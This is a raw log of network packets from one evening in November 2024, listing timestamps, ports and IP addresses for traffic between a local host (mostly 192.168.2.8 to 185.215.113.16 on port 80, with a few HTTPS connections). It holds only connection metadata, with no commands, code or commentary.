Nov 23, 2024 21:15:41.360133886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.360932112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.361028910 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.361866951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.362008095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.362829924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.362986088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.371984959 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.372231960 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.372231960 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.483963013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.484036922 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.484411955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.484833002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.485371113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.485753059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.485877991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.492947102 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.493046999 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.517529964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.517591953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.518043041 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.518234968 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.518330097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.519185066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.519368887 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.520092010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.520404100 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.521047115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.521368027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.522062063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.522176981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.523013115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.523154020 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.523925066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.524106979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.524910927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.524966002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.525355101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.525510073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.525510073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.525846004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.526109934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.526791096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.527159929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.527774096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.528244972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.528708935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.529459000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.529714108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.529737949 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.530618906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.531120062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.531596899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.531858921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.532644033 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.533034086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.533370972 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.533735991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.534003973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.534044027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.534205914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.534272909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.534466982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.534485102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.534698009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.535686016 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.535815001 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.536411047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.536489964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.537353039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.537590027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.538299084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.538363934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.539261103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.540288925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.540308952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.540326118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.541181087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.541218042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.542140961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.542514086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.543123007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.543142080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.544008970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.544614077 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.545003891 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.545021057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.545929909 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.546041965 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.546892881 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.547245026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.547838926 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.548683882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.548810959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.548827887 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.549788952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.549932957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.550734043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.551094055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.551666021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.551764011 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.552651882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.553035975 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.553605080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.553608894 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.553946972 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.553970098 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.554028988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.554028988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.554228067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.554624081 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.554759979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.555565119 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.556555033 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.556574106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.556590080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.557429075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.557914019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.558399916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.558415890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.558466911 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.558522940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.558566093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.559330940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.559372902 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.559463024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.559503078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.560307026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.560349941 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.560606003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.560642004 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.561242104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.561465025 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.562267065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.562354088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.563153028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.563374996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.564161062 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.564270973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.573816061 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.594033003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.625973940 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:41.626076937 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:41.626393080 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:41.626841068 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:41.626869917 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:41.626888990 CET	49763	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:41.626897097 CET	443	49763	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:41.633100033 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.685535908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.685725927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.685957909 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.686115980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.686134100 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.687109947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.687474966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.688024044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.689656019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.689656019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.718977928 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.719032049 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.719070911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.719209909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.719383001 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.719472885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.720351934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.720381975 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.720710993 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.721381903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.721471071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.722285986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.722393036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.723140001 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.723290920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.723429918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.723438025 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.723501921 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.724229097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.724386930 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.724473000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.724560022 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.725138903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.725194931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.725344896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.725394011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.726114035 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.726223946 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.726233959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.726470947 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.727083921 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.727174044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.727176905 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.727355003 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.728080034 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.728161097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.728349924 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.728964090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.729003906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.729021072 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.729135990 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.729928970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.729970932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.730880976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.730927944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.731863022 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.732067108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.732775927 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.732808113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.733062029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.733295918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.733783007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.733978033 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.734108925 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.734716892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.734850883 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.735241890 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.735692024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.735951900 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.735972881 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.736164093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.736653090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.737251043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.737617970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.737637043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.738620043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.738697052 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.739594936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.739706039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.739840031 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.740453959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.740511894 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.740876913 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.740928888 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.741401911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.741447926 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.741672039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.741714954 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.742372036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.742486954 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.742521048 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.742851019 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.743340015 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.743432045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.743441105 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.743494987 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.744287968 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.744333982 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.745053053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.745265007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.745280027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.746196985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.746373892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.747163057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.747383118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.748142958 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.748357058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.749067068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.749258995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.750020027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.750529051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.750988007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.751101017 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.751974106 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.751985073 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.752254009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.752897978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.753010988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.753889084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.753985882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.754220963 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.754220963 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.754324913 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.754823923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.755460024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.755810022 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.755825996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.756712914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.757097960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.757750988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.757796049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.758671999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.759340048 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.759641886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.759658098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.760579109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.760628939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.761529922 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.761652946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.762530088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.762669086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.763417959 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.763887882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.764405966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.764489889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.765369892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.765486956 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.765960932 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.767333031 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.767333031 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.767698050 CET	80	49771	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.767993927 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.769047022 CET	49771	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.805775881 CET	443	49765	35.190.72.216	192.168.2.8
Nov 23, 2024 21:15:41.805852890 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:41.814438105 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:41.814459085 CET	443	49765	35.190.72.216	192.168.2.8
Nov 23, 2024 21:15:41.814570904 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:41.814663887 CET	443	49765	35.190.72.216	192.168.2.8
Nov 23, 2024 21:15:41.816318035 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:41.887085915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.887156963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.887305975 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.887324095 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.888170004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.889111042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.889156103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.889168024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.895698071 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.896095991 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.920733929 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.920789957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.920942068 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.920996904 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.921142101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.921190977 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.921325922 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.921416998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.922256947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.922348976 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.923188925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.923360109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.924177885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.924185038 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.924318075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.924835920 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.925188065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.925246000 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:41.925261021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:41.925333977 CET	49750	80	192.168.2.8	185.215.113.16
